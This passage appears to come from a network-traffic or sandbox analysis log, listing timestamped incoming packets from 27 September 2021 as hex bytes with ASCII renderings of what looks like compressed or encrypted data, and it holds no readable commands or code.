7b 9f 24 d2 6c c2 5c e3 f8 52 db 54 13 5b f3 71 ec f7 a8 25 90 ae c7 bd 21 e7 90 be f6 de bb 0c 09 13 e0 10 1b f8 2b 1a d8 16 05 dc 1f 35 0e 4a 6b 62 17 65 be df 8e a1 57 10 Data Ascii: MV9.(]AD"6,%r=yC^v#Hwav kif2z8Q)U{[2O]I&U\mR:g0e5^c'[*[.:rY4$r^u!F)%XU{$l\RT[q%!+5JkbeW
2021-09-27 16:55:59 UTC	100	IN	Data Raw: 8c c4 b8 34 db 9f a4 54 01 d1 c2 b1 2a 83 03 1e b8 98 55 ca f6 36 ed 91 c9 4e ea c9 8b 3c 6e 4b 2d b7 bc 16 05 61 48 31 c4 14 eb cd d7 74 90 0b 17 71 60 8f ed 20 57 b3 87 c9 05 36 ab 3d 63 8b da 47 6a 6c d5 95 51 59 85 49 5c 4b 5d ee 36 e2 6b 68 01 ac 4a 91 2e 68 08 90 f2 0d 3d 26 9c a7 8e 97 dc 71 97 38 66 24 a8 6f d1 b1 bb 9f ec 48 aa 88 79 c9 88 d1 5d 89 be 22 c0 70 75 2a 48 96 55 66 24 e3 9f 61 35 74 17 e8 78 ee 03 07 92 58 23 b9 19 5e 80 df a4 1e ef 30 9b 75 81 95 2c 28 c7 9b d9 de 69 57 90 1b 23 b5 b6 b2 1d 0e fe 60 81 a0 06 69 a9 03 32 70 04 21 d6 08 8f 2d cc ac 77 7b 71 cf 86 18 98 8d 39 fa 95 a0 b5 9e 6d 62 92 79 05 d0 01 1e 4e f8 63 72 54 00 ad 74 b0 27 b6 38 a6 d8 bc 6c cc 42 2d fb 56 d3 05 ca 42 18 44 9d 92 c5 b3 5f e7 8b 22 49 f1 67 ef 90 30 Data Ascii: 4TU6N<nK-aH1tq` W6=cGjlQYI\K]6khJ.h=&q8f$oHy]"puHUf$a5txX#^0u,(iW#`i2p!-w{q9mbyNcrTt'8lB-VBD_"Ig0
2021-09-27 16:55:59 UTC	102	IN	Data Raw: c3 cd 9f 62 fb 5c 8e 05 9d f1 22 8d 0c 11 c8 44 97 8d 8a f4 40 6f 52 3a f2 10 fa 94 67 ef ee d1 f3 1b 4f 3d 7f c3 a5 16 e5 cb 41 8d f3 7a e7 c2 80 b3 27 08 af 64 ec fb ae 34 ba ac f4 fe bd 4e f9 12 67 70 ad bf 6c 93 30 11 21 dd af 25 c6 f5 46 32 07 9f fe 1d f7 0c 3e d8 72 53 15 c7 cc bc 19 af 10 7d eb 9e 24 f0 9b d3 58 eb 95 5a b5 fd 17 5d e6 76 21 cc bf 24 81 a2 b5 50 2a c9 fb a6 f4 a5 a5 0b 16 0b 59 a0 90 fa 21 1b d6 0c 01 a7 1e 32 11 52 93 7c 25 a7 94 2f 82 a0 5d 07 32 8d 15 70 64 d6 08 fc 2d e9 e8 2d 6f 3b f4 1f 30 76 e5 01 88 7c 26 64 5e b4 9b 76 c6 ed 0a 2f 1a 9f a3 d4 38 a4 8f 56 c1 7d ef cd 11 fb 9d 4a 75 cb c5 93 fb 1d 51 7d 2a 6a f4 5a c7 2d 45 4b e6 7a 9e 34 54 56 8d 26 93 4d 49 9b 98 00 99 78 d1 ad b2 f0 dd 64 bf 30 51 e3 35 58 e8 29 79 21 c7 Data Ascii: b\"D@oR:gO=Az'd4Ngpl0!%F2>rS}$XZ]v!$PY!2R\|%/]2pd--o;0v\|&d^v/8V}JuQ}jZ-EKz4TV&MIxd0Q5X)y!
2021-09-27 16:55:59 UTC	103	IN	Data Raw: 9f ca 68 96 7a 44 1b 80 24 4d b2 b5 8f 58 79 b3 94 ef 1e 8d ce e9 b1 a5 34 56 55 6f 35 fc a6 48 70 b2 e2 a1 4e 5a dd 1d c4 74 f9 33 2d 96 58 38 61 16 8a 86 d9 ab 1d bc 3e 9a 77 85 c0 b1 78 4b 91 dd c7 7a 53 90 0a 27 87 af e7 c4 22 ea 78 fa ae 06 6b ad 29 bc 7e 54 09 52 0a 8f 27 da a7 28 d6 71 09 8c 07 82 43 3d fa 95 b2 b9 8e ab c9 be 70 3d 59 10 1a 53 19 77 4d 5b 06 aa 58 2c db b7 1e ae de bc 6c cc 42 2d fc b8 2c 28 ec 4d 97 14 93 93 c4 bd 40 dc 13 20 58 ff 6a 0f fe b5 99 26 ef 4c c8 c6 41 95 d2 06 9e be e0 3b 39 9d bf 9e 48 6a 76 ff 54 d3 44 ff 6c f3 70 c9 26 b0 ac 6c 64 ed 2f 7d a2 2c 3b 33 3e 2f 5f 17 95 9e 05 bf 33 82 d5 4f a7 12 d0 08 de 57 c5 29 83 a2 af ee e2 46 e3 13 29 9e 72 b8 d3 28 6a 80 78 64 0d 6a ce e0 73 ce 0c 89 e7 68 62 a2 59 a2 9d ca b3 Data Ascii: hzD$MXy4VUo5HpNZt3-X8a>wxKzS'"xk)~TR'(qC=p=YSwM[X,lB-,(M@ Xj&LA;9HjvTDlp&ld/},;3>/_3OW)F)r(jxdjshbY
2021-09-27 16:55:59 UTC	104	IN	Data Raw: b6 23 75 6a 8f 2c ce fc d0 74 e2 94 51 d2 54 06 55 f3 4d c4 de 95 26 bb a1 91 13 d7 1a 14 84 e4 ee bc 0a 6a 0f 36 38 70 fa 2b 01 dd 14 2c bc 0f 33 19 b0 6c 51 0b ab 9d 54 8b b7 a3 02 19 99 05 f5 d3 be b9 02 2c cf f5 1b 7e 16 17 01 37 41 6d fd 89 5a 5d 45 25 ba 9a 76 c2 fb 22 f6 43 b7 38 c2 20 c1 9f 59 c0 5f 50 d7 02 f7 86 39 19 b4 d4 6c d2 90 47 7f 5b 7b fe 38 a9 4b 5c 4c 40 6f f3 9d 5e 49 97 5b e6 3e 40 9a a1 a5 84 61 25 b3 8b 85 b5 7f be 30 79 43 21 70 7b 0b c5 2c d1 2a 8e 75 53 82 7b a0 f7 12 86 eb ed 12 2a 9a 82 d6 37 13 d7 01 82 e6 ef e7 eb d2 a8 95 31 f8 36 4f 45 7f 86 ff 6f a6 97 59 d1 d5 92 5e a4 4e 8a 23 b9 54 c9 84 b5 7f f0 0a a9 c1 d3 87 9b a3 96 4e 9b f4 a3 ff 3a ae 7d 62 9e 12 e2 76 86 1f 59 a1 32 d3 b2 11 2d 28 da 67 f6 ca 19 6f 59 e0 d9 b7 Data Ascii: #uj,tQTUM&j68p+,3lQT,~7AmZ]E%v"C8 Y_P9lG[{8K\L@o^I[>@a%0yC!p{,uS{716OEoY^N#TN:}bvY2-(goY
2021-09-27 16:55:59 UTC	105	IN	Data Raw: 71 18 8e 07 97 ae 38 d6 90 b3 a5 92 4a dc 44 51 3e d1 10 10 2e 1a 63 5e 5b 19 ab 4f 33 25 a7 3a b2 cc 51 69 e0 5f 38 e7 bf 92 57 3e a5 6a 70 96 81 cc b9 57 fc 90 2c a6 f4 50 1f 94 67 85 27 e5 57 cc bb 76 fc dc 0d 90 48 e1 06 26 80 c9 6e 48 46 66 e5 7a f3 c2 f1 ba d1 5d d0 49 13 d1 77 6f f3 38 66 ac 2e 37 2c 25 d9 41 2a 42 9d 52 a5 37 81 d9 52 c0 c8 f9 33 db 38 46 56 9e a9 c5 e8 86 45 f1 1b 2d 59 52 3b c9 d6 61 ba 7f 0e a7 62 d1 fe ba ed 24 8c e7 73 4e 15 4d 5c 96 9b 81 66 c2 d8 c0 d6 c3 e1 73 98 06 42 27 9f d8 79 05 d8 bb 5a 4a 2a 2f 09 57 18 71 b5 bf 55 58 24 36 21 bf 25 e8 84 7e e7 05 3d 77 f4 57 c8 8c 2c 22 e8 14 57 6b a8 a0 e1 b2 dd 11 3e 9f d9 e5 ab a3 8e 6b 43 3b 29 94 9d 7b a8 35 c7 ce 81 00 80 ad 4c 7b ae 4f fc ea 4b 40 0b 3c c9 09 26 42 0e db 5d Data Ascii: q8JDQ>.c^[O3%:Qi_8W>jpW,Pg'WvH&nHFfz]Iwo8f.7,%ABR7R38FVE-YR;ab$sNM\fsB'yZJ/WqUX$6!%~=wW,"Wk>kC;){5L{OK@<&B]
2021-09-27 16:55:59 UTC	107	IN	Data Raw: 21 e7 24 41 ca 77 f7 cd fc fc b1 59 58 d6 f0 8e f8 4a 5f 7e 51 60 df 20 c1 03 44 4d 68 c7 f3 82 4e 7e 3c 39 8c 54 67 7b 8d 06 80 49 91 ac 9e ed a2 38 b0 31 55 cd 23 63 41 2f 79 ed d0 2a 54 8d 4a e0 00 d6 5c 3c ad 63 eb 12 02 9b 93 d2 c8 ed d6 3c 9a d5 e7 db f3 d3 25 be 31 e9 3f 5a 54 92 83 d3 77 9a 87 56 2f d4 a1 43 b5 3d a2 33 b1 4f da 15 4e 53 fb 28 cf ce c0 89 88 b7 8d 5d 82 02 a2 c2 3d 90 83 67 b2 1b 7e 59 90 31 b0 b4 24 cb a9 15 3c 31 c9 86 f8 18 1b 5b 45 ea a2 8e 42 f5 f8 df 1c 59 50 9e 11 6b fb 2e 0f df 96 b2 31 8c 8c e8 ae 0d 85 e5 80 5f 07 c3 a5 1a 38 82 05 32 a7 81 70 4e f0 36 f6 b8 6a 6e e5 f7 9c c0 60 7b 31 c4 d5 7b 52 6b 35 13 19 16 bf b8 0c 71 90 1c 02 6e f1 46 c0 08 53 ca ff b3 08 33 83 62 4a b2 d0 6f 81 61 d7 c3 02 e4 86 49 52 4b e1 ec 36 Data Ascii: !$AwYXJ_~Q` DMhN~<9Tg{I81U#cA/y*TJ\<c<%1?ZTwV/C=3ONS(]=g~Y1$<1[EBYPk.1_82pN6jn`{1{Rk5qnFS3bJoaIRK6
2021-09-27 16:55:59 UTC	108	IN	Data Raw: 20 79 a2 3d 3f 2c 34 d1 5e 3b bc 6f 7f b1 32 71 d0 4d dc 0e d1 08 da 22 4c 2b 82 b3 f5 e9 99 d3 e3 13 2d a2 5a 24 c0 00 93 92 66 0d ae 68 b5 cd 6d c5 1b a5 c8 79 66 b7 62 50 9e 9d 85 66 c2 d8 f7 ff d0 e9 79 af 0c 26 10 60 d9 51 3c 29 c4 47 4d 02 0f 1c 39 52 a8 79 40 aa 4d 18 42 5a 0d 36 e0 91 6e 1b 6b f5 7a fc 40 c3 b5 83 de 6c cc 49 77 bf 80 15 a7 d5 08 00 45 d8 c9 ac dd 38 76 5b 71 1b 28 47 ac 80 22 d4 cc 8c 16 a0 44 b6 7a 84 40 84 c5 52 96 27 9f 3f 0d 2c 4e 3b ec 55 e2 0a 24 4a 1a 36 b5 1d a1 c3 fe 10 a4 f3 23 67 8f 7d c9 17 a6 93 c2 5c 8e 10 48 e8 23 a1 1b 10 be ed 96 a1 89 00 d5 14 75 31 fe 0e c1 66 63 fe ee e6 db e5 4e 1b 5e ca c3 e9 10 0d 92 80 e0 7c e5 a8 a1 ad 28 f2 86 bc f4 f9 d3 12 9f ac f0 f7 d1 7f 3a 13 63 5e 27 b9 7d 9d 49 c0 4f 74 a9 36 c9 Data Ascii: y=?,4^;o2qM"L+-Z$fhmyfbPfy&`Q<)GM9Ry@MBZ6nkz@lIwE8v[q(G"Dz@R'?,N;U$J6#g}\H#u1fcN^\|(:c^'}IOt6
2021-09-27 16:55:59 UTC	109	IN	Data Raw: fb c1 9e 98 52 f7 c4 9d 45 27 6a 95 23 be 5d 58 52 a5 53 fb 28 00 d3 d3 8d 93 8e 9d 42 88 f6 8b da 33 b0 89 17 a0 1b f3 69 83 38 ae de 31 d1 b3 9f 8b 37 1b 14 dc e6 1a 76 59 ef c8 af 52 f2 ea df 41 5b 50 9e 1f 7c f9 23 81 79 94 19 a1 6e 01 fb bc 25 df e8 9f 45 07 ca a2 2a fd 0f 3a 38 aa 9f 7b 47 97 ba d8 bc 73 91 ec f3 be c3 78 66 05 00 a5 79 58 6a 60 83 1a 16 b1 b1 15 5d cb 0c 06 7f 0c 28 74 20 51 bb c4 b9 16 26 a0 b7 fc 64 cd 9d 77 b3 5a ee 2a 54 85 5a 55 72 c2 fa 27 e5 7f 74 79 c2 46 90 24 7d 01 d6 98 12 22 37 93 01 fb be c9 76 c6 ec 5c 01 11 d8 5d 84 ad 94 c5 63 a6 b0 25 16 97 d8 72 a9 b2 34 e2 e9 73 23 6a 96 f4 66 2e eb a6 5a 21 5c 1d c1 7e e0 30 b3 95 58 29 64 1d 7b 96 fa b2 0e ca 92 8a 78 96 b9 a0 45 4b 9b d6 7c 78 58 88 0a 2e 16 01 95 fa 0e f0 7b Data Ascii: RE'j#]XRS(B3i817vYRA[P\|#yn%E:8{GsxfyXj`](t Q&dwZTZUr'tyF$}"7v\]c%r4s#jf.Z!\~0X)d{xEK\|xX.{
2021-09-27 16:55:59 UTC	111	IN	Data Raw: 0e 65 0c 1e 11 7b fd 5d ff ba 8b 66 17 eb 48 98 bb a8 f0 8b de 0b 28 67 cc e1 64 b0 8b 7e 73 6a c5 69 68 89 c9 b1 d4 c6 8b 1d 81 a5 9a 76 87 42 f9 f5 de 91 23 b7 ca 1a 2a 59 15 de 7d ef 05 4b ff ba 27 b9 d7 b9 ff e1 b3 a4 f9 01 77 9e 7d c3 c3 ad bc 8e 37 8e 1a 97 8d e5 8d 1d 1d c2 bd bd 91 92 db b8 ad 52 30 f4 22 f8 92 67 f4 fb ca f7 f4 4a 05 5e f5 c6 e9 1c 22 d3 87 e0 7c e6 c7 92 b8 00 55 ae 48 fa d1 4e 3a bb a6 d8 61 c6 57 f2 1e 72 5f 5b 7a 6c 99 2c 24 89 aa b9 34 cb 9f 6d 21 01 9e c3 17 f9 11 b5 e2 5e 48 16 d3 95 bd 19 a1 ec 75 60 40 31 fd 2a e6 58 e1 89 51 df 7c 18 58 ec 6f 30 f7 81 24 90 ae 77 ae 2d cf eb ae f6 c2 bf 0a 14 0f 09 38 da 73 2b 06 cb 1f 07 a7 0f 34 0e 4e ce de 09 a6 8c 54 8c a0 4e 33 31 9b 1c ff d3 b9 51 fc 2d f2 e1 23 79 05 01 0e 36 69 Data Ascii: e{]fH(gd~sjihvB#Y}K'w}7R0"gJ^"\|UHN:aWr_[zl,$4m!^Hu`@1XQ\|Xo0$w-8s+4NTN31Q-#y6i
2021-09-27 16:55:59 UTC	112	IN	Data Raw: 6a 32 00 37 e7 ba 5b 86 e5 db 87 ea 2f 6e 2d b1 8f 57 50 61 4e 54 60 16 bb a8 bd 64 9a 1a d0 66 05 56 e6 31 40 80 15 a3 01 1f a2 39 4b 99 cc 56 69 eb 60 d2 f0 47 96 5a 54 5b 7c ec 36 e8 78 63 40 db dd 8f 3e 44 e3 c1 89 15 34 37 90 57 9a 85 d3 66 cf f7 41 1b 49 f5 ce ab 85 7d c5 70 a0 80 62 1f 4f 0e 66 b6 af 2e d2 8a 62 2a ee 18 67 6c 26 e3 a6 58 ed a2 0e cf 55 f3 3a 37 83 54 31 b3 94 6b 97 dd 4d 1e c7 3a 93 66 89 77 fa 69 40 b3 8c df 69 5d 92 1d 4c 52 b4 19 cf 1f fe 6b 8a b1 09 b1 bf 41 c6 c8 e2 27 a4 1f 8e 2d c6 ac 4a 7d 77 66 4c 1a 98 5a 28 f5 95 b8 b7 95 8f de fd 8d 04 d0 16 32 45 07 62 54 4c 16 aa 51 54 4f b4 32 a7 a9 66 68 cc 59 3f d2 b0 d0 52 f7 5b 95 6b 8f 81 d5 b4 57 e4 a7 ef 5a f5 76 00 82 73 57 24 e5 59 c8 d9 5d 43 d0 0e 92 4c f0 05 10 a1 3b 6f Data Ascii: j27[/n-WPaNT`dfV1@9KVi`GZT[\|6xc@>D47WfAI}pbOf.b*gl&XU:7T1kM:fwi@i]LRkA'-J}wfLZ(2EbTLQTO2fhY?R[kWZvsW$Y]CL;o
2021-09-27 16:55:59 UTC	113	IN	Data Raw: 9c f9 c4 64 52 21 f5 15 d6 6c 66 d2 e3 cd f6 f2 98 80 65 ff dc a9 09 3f 5e 91 eb 63 ec 2d 87 80 3c f1 c1 b2 f1 f9 d3 2d 61 bb 26 70 ed 57 f8 13 6f 47 38 ae 67 99 37 02 51 5d 51 24 e0 e1 25 21 03 9f e9 08 ef 09 ea ca 55 48 06 b7 dd ab e7 aa 1c 6c 69 97 3c 0e 0a c7 49 e5 ab 57 db 54 1d 42 fb 7a 31 df a8 2f 87 5a a8 82 28 fd f8 a5 f7 cf b4 15 36 f1 37 14 85 f3 33 c6 c8 16 10 71 9e e2 0d c0 da 43 6a b1 96 54 93 80 4e 08 35 8a 19 e1 c7 47 a0 d0 2b c8 4c 2f 69 2e ff 0e 27 62 ed f1 77 51 1d 6b 34 bf 85 46 ad 02 23 b6 1e 80 a6 d1 2b cb 37 5d de 4d 0e d4 2e ec 9a 34 8f d5 db 6b eb 39 2a ad 53 64 ff 45 f8 38 58 4d 79 c6 ee bf aa 57 ab 30 b4 44 b0 64 76 19 a5 72 24 ac 8f ec c0 13 4f 30 7d ee 1b af 8d d4 86 34 dc 39 5f 6a 5b eb 0e f7 b1 39 b9 d0 99 12 00 9b 84 c5 dc Data Ascii: dR!lfe?^c-<-a&pWoG8g7Q]Q$%!UHli<IWTBz1/Z(673qCjTN5G+L/i.'bwQk4F#+7]M.4k9*SdE8XMyW0Ddvr$O0}49_j[9
2021-09-27 16:55:59 UTC	114	IN	Data Raw: 3a b4 34 f1 90 7a 3a fa 10 57 f7 45 c6 a5 5d 4d 04 ef 57 53 a8 a3 e1 b2 de 11 16 9f d9 e5 af 8a 30 8a a4 84 da 56 71 8f b7 33 df d9 ae ef 89 9d bf 79 0c f5 f6 fa 85 4c 30 b3 d4 39 3f 43 13 d9 5e fd 0d b5 f8 34 3d cc c3 af eb cf 03 a1 e6 05 4c 84 7d d2 c2 b9 aa 04 5d a2 09 95 eb 33 5b 8c 00 0b ad 40 2c a8 dc d7 6e 5e 2f ec 19 e2 92 76 f5 f7 c4 01 e4 62 00 71 f8 4d 5e 13 2c 88 5a 8f 87 e6 d3 80 b3 23 e5 a5 48 e1 f2 ca 07 45 ad dc f0 c5 d9 4f 1b 7b 8e ee ae 68 86 18 1a 45 74 be 2e d3 e5 a8 20 2d 8f fe 1e eb 1f d7 0f cf 27 ec bd c2 bb 06 bb 23 76 6a 8f 2f c7 34 2f 59 cd 8f 53 d0 48 57 13 16 96 c5 c0 8e 37 9b a4 b8 a5 34 fa 15 af db cd bc 03 01 d9 a7 2f 4a ed fd 9d e0 1f 07 a6 03 2b 2e 5d 66 7d 18 b8 80 aa 8d 8d 5e 14 26 90 12 ef d8 a6 e4 02 2c cf f5 1b 79 05 Data Ascii: :4z:WE]MWS0Vq3yL09?C^4=L}]3[@,n^/vbqM^,Z#HEO{hEt. -'#vj/4/YSHW74/J+.]f}^&,y
2021-09-27 16:55:59 UTC	115	IN	Data Raw: 05 3c a2 88 7b 75 c1 37 e7 b6 71 92 98 9c 8c c2 7c 7a 05 bd a7 79 79 1c 0e 3a 18 12 b2 a4 c9 78 a8 bc 06 75 0f 44 e5 fa 42 b5 d5 b0 1f 58 ad 3b 4b b4 a7 02 61 65 d3 d4 2e 56 ff 0a 59 63 c1 dd 14 ea 12 2f 50 d7 43 86 26 65 08 bb ca 1e 3c 22 b0 ba 4d 96 d6 7e c4 9d 0e 0d 9f 6b 07 b6 95 e7 c4 70 aa 8a 08 52 96 d8 71 ae b6 2b db 58 5b 16 61 af 5f 64 3f ef ca 16 34 74 19 c6 7c 9d 68 3f 92 5c 54 22 0f 74 83 fd 8e 00 cc 23 9e 77 90 aa 37 84 4a b7 d0 d8 7f 66 ad 07 30 9d b6 08 c0 13 0e 7b ad b7 05 10 ec 2f 32 cd e0 5a 8d 09 8f 29 c4 a9 44 57 44 08 86 12 86 43 3c fa 95 b3 b0 64 54 e4 91 6e 16 d5 10 0b 56 19 69 a0 5e 2a b9 77 3e 1d 23 cc 52 39 a6 6b f3 1b d6 1c 57 da 03 d3 6a 97 6f ae 92 c4 b9 4f f4 8f 33 4e fe 57 3a 91 1b 8e d8 e4 7f db cd 4e 95 c4 1a 7d 41 cd 1e Data Ascii: <{u7q\|zyy:xuDBX;Kae.VYc/PC&e<"M~kpRq+X[a_d?4t\|h?\T"t#w7Jf0{/2Z)DWDC<dTnVi^*w>#R9kWjoO3NW:N}A
2021-09-27 16:55:59 UTC	116	IN	Data Raw: 2e 45 89 ae 90 d1 d7 7e 5f 2e 00 0b c5 9b 5f 68 16 31 00 fa 47 02 7b fb d2 e4 05 22 a0 81 cc 50 f6 d8 92 84 a9 f4 ae 4e e7 74 d2 3a bb ad e3 f1 d7 5b ee 03 65 40 ae 95 7d 99 26 03 ec 65 a3 31 d8 fd 40 09 a9 9f ef 11 f7 01 d3 d4 5e 59 1a ab 3c bc 35 a8 28 6e 67 9e 35 d5 1b 2f 59 cd 9d 40 a1 1d 16 5d e8 7f 33 ab 38 24 90 a5 bf ac 50 ac ea ae f3 50 08 22 23 0e 36 32 8a e9 26 10 da 12 18 b2 f1 35 22 43 7c 75 11 23 af 69 71 5e a2 1c 23 88 1f fe c2 b4 be e5 d3 e2 db 20 7e 46 b0 0f 36 6d e7 bf 25 50 31 66 3a a0 89 7b c2 ea 2f a9 0b 61 a8 ee 2a da 2e 41 51 5b 3b ca 16 ee 90 5b 62 d9 c0 93 fb 1d 16 7d 2a 2c f4 5a c7 3f 7b 57 6b cd f7 8a d9 51 87 39 8d 4d 49 8a 8f 10 8f 49 3e ac 9e ed 7d 0e b7 22 56 f6 24 64 65 3c f4 04 d1 2a 55 79 42 f1 19 d6 58 a4 84 d3 c2 b1 02 Data Ascii: .E~_._h1G{"PNt:[e@}&e1@^Y<5(ng5/Y@]38$PP"#62&5"C\|u#iq^# ~F6m%P1f:{/a.AQ[;[b},Z?{WkQ9MII>}"V$de<*UyBX
2021-09-27 16:55:59 UTC	118	IN	Data Raw: 75 b5 81 8d 16 bb d3 7c a9 ba ac 7d 6e 7f 3c 6a bc 50 66 3f ee ab ae 34 58 15 d5 7a ef ba 32 8f 4b 2c 65 1f 71 9d 0b a5 33 c2 26 96 6c 92 aa 2c 6b 4e 82 29 df 45 51 92 08 27 82 a5 1c c5 1f f5 61 7f a1 2b 6e 82 ee 2e da e7 21 da 0d 92 d3 cd 93 52 78 59 1e 83 18 9e 58 b5 d1 84 b6 a7 f5 81 ca 92 73 23 ce 03 1f 53 17 67 46 a1 07 97 55 48 9c b6 32 a7 cd b6 7b c9 53 38 e6 be 2c 28 ec 59 82 7c 98 92 d5 bc 59 fe 71 23 74 f7 57 14 a9 4c 66 d9 1a 54 b6 07 45 95 c9 28 83 5b d1 12 2e a0 c4 90 49 97 72 e0 68 f9 53 4a 6f 77 d1 07 5e c3 bb ba e3 d8 3c 79 a3 36 3d 2b 36 5f e9 13 9c 9d 7e bb 31 94 d6 4f 52 a9 d2 86 6d 10 59 2a 83 a2 c2 e6 47 47 c7 3b 1a 48 5a 2e dd 3c 6a be 5e 0b a4 60 10 ea 6a ef 1f 8c f7 79 66 bd 4f 5c 9c cb 8f 67 d2 c6 df cf d1 fa 43 8b 0e 65 37 61 d9 Data Ascii: u\|}n<jPf?4Xz2K,eq3&l,kN)EQ'a+n.!RxYXs#SgFUH2{S8,(Y\|Yq#tWLfTE([.IrhSJow^<y6=+6_~1ORmY*GG;HZ.<j^`jyfO\gCe7a
2021-09-27 16:55:59 UTC	119	IN	Data Raw: d8 28 5d ec 68 98 ce 9a 30 84 b0 81 0d 2b e5 e1 ba df 1a bc 0a 10 19 bb 3f 90 fa 2a 04 df 0b 2f 04 0f 34 04 66 7c 7d 09 b9 85 58 85 b5 75 c0 36 9b 14 e9 5e be a1 fc 2c f0 d4 21 5f 2b e2 82 09 69 f2 fe 2b 41 12 72 31 ae b2 d5 c2 fb 28 a2 30 5c aa c2 26 dc ab 51 c1 77 f1 c6 20 ec bf 4d 64 58 e4 6d fa 30 e7 6e 73 70 e1 4e eb 88 53 4d 62 d9 d9 59 57 56 81 2f 01 59 4f 9b 88 12 92 75 07 0f 9e e7 d5 37 a0 31 51 ed 30 7b 60 2e 51 70 d0 2a 5e 42 64 e2 11 c6 20 a0 95 db e0 03 0e ef 90 d6 d4 08 c6 1b e0 e7 e7 df e8 fb bc 97 31 ef 2d 5d 5d 51 06 d3 66 9f b0 4c d1 d5 87 7b ab 45 8a 34 a8 c6 c5 7a b4 52 e8 01 c1 e2 c5 9c 85 8e 98 42 88 f6 01 ff 11 a7 fd 2f b3 1b f7 d0 81 12 a9 a1 23 4c 85 11 3c 21 6f 88 d4 f5 38 66 68 fc cd bf ce da fc b0 e6 4a 74 85 2a 6d ff b6 1e ea Data Ascii: (]h0+?/4f\|}Xu6^,!_+i+Ar1(0\&Qw MdXm0nspNSMbYWV/YOu71Q0{`.Qp^Bd 1-]]QfL{E4zRB/#L<!o8fhJt*m
2021-09-27 16:55:59 UTC	120	IN	Data Raw: ba fe 06 d0 16 0c de 01 62 5e 5e 12 af 48 13 86 b6 32 a7 ee 33 68 cc 59 3a f9 b9 ce 3d e8 72 91 6f 9b 84 49 be 46 f4 8e 36 4c e1 54 b2 91 1c 93 0e cd 56 d9 d3 53 bd 32 03 83 4a cd 5b 3f 83 d0 b8 ce 69 72 e6 6f 76 da fd 6c f8 72 c5 5d 31 0f 6c 6e f9 28 51 5e 39 3f 2a 2c 5c 59 3b bc 9d 6d 92 23 a1 c7 65 8b 1c d1 0e 78 29 6f 3c ab 86 c7 ec 9f f5 f3 30 39 5c 4e 0c 72 28 60 9c 4e 97 a4 6a c4 c2 63 c7 1f 8b f4 62 74 98 67 b6 9e e6 a8 5d 24 22 20 30 0e e7 61 ac f0 4b 1a 61 d9 4e 7b 8a c0 47 41 f6 58 ea 38 58 86 5b 53 bb 54 24 3f 01 e8 36 e0 9d 4d 37 06 11 7d 93 3e cf b2 81 f4 18 e9 48 71 d4 5f e0 a3 d3 1d 3e 70 ce a6 5a b3 8b 72 4d 14 14 6b 62 8e d8 de d5 c6 87 07 e7 60 b0 7a 88 2d 03 e3 53 90 34 d8 1a 0b 2c 42 7c 34 54 e2 06 5d 96 c9 34 bf c9 c2 15 c8 10 a2 ea Data Ascii: b^^H23hY:=roIF6LTVS2J[?irovlr]1ln(Q^9?*,\Y;m#ex)o<09\Nr(`Njcbtg]$" 0aKaN{GAX8X[ST$?6M7}>Hq_>pZrMkb`z-S4,B\|4T]4
2021-09-27 16:55:59 UTC	121	IN	Data Raw: cc 72 e9 cf 44 53 4f 75 fc 4b c9 44 b8 4f 68 c7 9e 1a 55 56 8d 21 e3 d6 4e 9b 83 69 0f 60 2f a6 92 f8 cb 0c a6 31 40 f0 3c 69 8f 2a 55 3f c0 2c 45 6e 62 86 10 c0 45 57 62 da ea 14 11 89 9d cc c7 04 d7 01 83 ec 19 de df da d6 06 31 e9 34 5c 53 92 90 d3 77 89 87 49 2f d4 a1 41 a1 57 83 5d 7d 4a c2 70 a3 89 e8 34 c3 cb cc 9f 9b b1 89 53 9f e4 5d ef 1e b9 f0 d9 b2 1b f9 78 89 22 a6 be 2a d7 a5 0b c2 21 e1 b7 e6 f4 75 8b 4b e8 df b0 2c 24 fe b0 ed 36 ac 95 0e 7d ff 45 de cc 92 a7 52 8e 8c c4 ba 32 b1 35 82 55 0b ba 53 74 2b 85 16 2b b5 85 6e 4a f4 27 f0 ab 8d 91 c8 d8 95 d1 6f 6c 3c a0 b8 64 ac 60 64 28 09 10 b2 8a 79 74 90 07 69 82 0e 47 ea 33 5c ae c9 a1 1f 37 ba 2e 54 9b 24 46 4c 6f c6 d1 3d 82 97 5d 47 49 d6 fb 36 f9 7e 75 47 29 46 bc 21 64 22 4f 88 1f 36 Data Ascii: rDSOuKDOhUV!Ni`/1@<iU?,EnbEWb14\SwI/AW]}Jp4S]x"!uK,$6}ER25USt++nJ'ol<d`d(ytiG3\7.T$FLo=]GI6~uG)F!d"O6
2021-09-27 16:55:59 UTC	123	IN	Data Raw: 33 82 d1 48 dd 1e c0 0a d0 3a 5a 44 62 a9 c5 e6 86 08 d1 1b 2f 5f 35 2c d0 28 6a 9c 60 23 38 6a ce e0 44 a3 1e 8d ed 74 15 9b 4e 5c 96 f5 a6 76 c6 c8 f7 e7 d4 e9 75 9e 83 5a 37 61 d8 46 12 cc c6 51 48 88 3a 1a 2d 4c a8 81 41 aa 4d 24 21 3d 97 1d e4 9b 63 0e 89 16 7b fc 47 dc b4 9a da 01 fc c4 fc bb a8 e0 01 c4 08 3c 75 f0 00 a7 b2 81 65 5f 6f ed 43 66 84 b1 35 59 c1 81 11 89 a2 b4 6b 84 54 fb 40 42 90 37 a3 e3 c0 2d 48 19 d9 51 f6 28 60 fd 18 30 a8 4e aa eb c9 11 b7 ff 1a 59 99 6a 4f 45 a6 bb fb fe 9f 1c 82 f6 0c 44 1c 17 db ab 92 b5 ab f0 d3 6f 54 26 73 0d e9 92 66 ea fc da d7 46 4e 11 7c ef eb 54 19 34 58 99 6d 7b e7 d3 87 bf 2e e7 a8 5e f9 5b c4 3c ac ba 7c c2 c6 57 f9 b0 72 5e 2c b4 e2 2e aa 36 4e 74 ae 87 dd ec 45 26 10 98 fb 0f f1 9b ef d9 5e 49 04 Data Ascii: 3H:ZDb/_5,(j`#8jDtN\vuZ7aFQH:-LAM$!=c{G<ue_oCf5YkT@B7-HQ(`0NYjOEDoT&sfFN\|T4Xm{.^[<\|Wr^,.6NtE&^I
